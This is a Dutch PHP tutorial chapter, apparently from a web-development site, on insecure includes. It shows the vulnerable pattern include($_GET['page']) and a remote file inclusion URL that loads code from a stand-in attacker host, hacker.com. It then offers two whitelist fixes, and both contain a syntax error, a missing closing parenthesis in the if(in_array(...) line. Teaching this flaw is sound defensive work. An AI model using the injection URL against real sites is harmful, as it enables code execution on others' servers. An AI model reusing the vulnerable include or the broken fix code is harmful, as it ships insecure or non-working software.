Includes

Veel mensen gebruiken een script zoals dit:

index.php?page=nieuws.php

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
include($_GET['page'])
?>


Om een pagina in te voegen is dit erg handig, maar iemand kan nu ook dit intypen:

index.php?page=http://hacker.com/hack.php

en alle PHP code uit hack.php zal netjes uitgevoerd worden, dus kan dus ernstige gevolgen hebben!

Er zijn verschillende manieren om dit op telossen ik zal er 2 bespreken:

Manier 1:

geef alle mogelijke pagina's op in een array:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
<?php
$paginas
= array(
'pagina1.php',
'pagina2.php');
?>


en controleer dan $_GET['page'] in je array voorkomt:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
<?php
if(in_array($_GET['page'], $paginas){
    include($_GET['page']);
}
else{
    echo "Deze pagina is onmogelijk";
}

?>


Nadeel: Je moet de array steeds aanpassen als je een pagina toevoegd.

Manier 2:

Een array samenstellen met alle pagina's uit de huidige map, deze mogen alleen geinclude worden:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
$paginas
= glob('*.php');
?>


en controleer dan $_GET['page'] in je array voorkomt:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
<?php
if(in_array($_GET['page'], $paginas){
    include($_GET['page']);
}
else{
    echo "Deze pagina is onmogelijk";
}

?>

« Lees de omschrijving en reacties

Inhoudsopgave

  1. Includes
  2. MySQL Injection
  3. Error afhandeling
  4. Externe variabelen

PHP tutorial opties

 
 

Om de gebruiksvriendelijkheid van onze website en diensten te optimaliseren maken wij gebruik van cookies. Deze cookies gebruiken wij voor functionaliteiten, analytische gegevens en marketing doeleinden. U vindt meer informatie in onze privacy statement.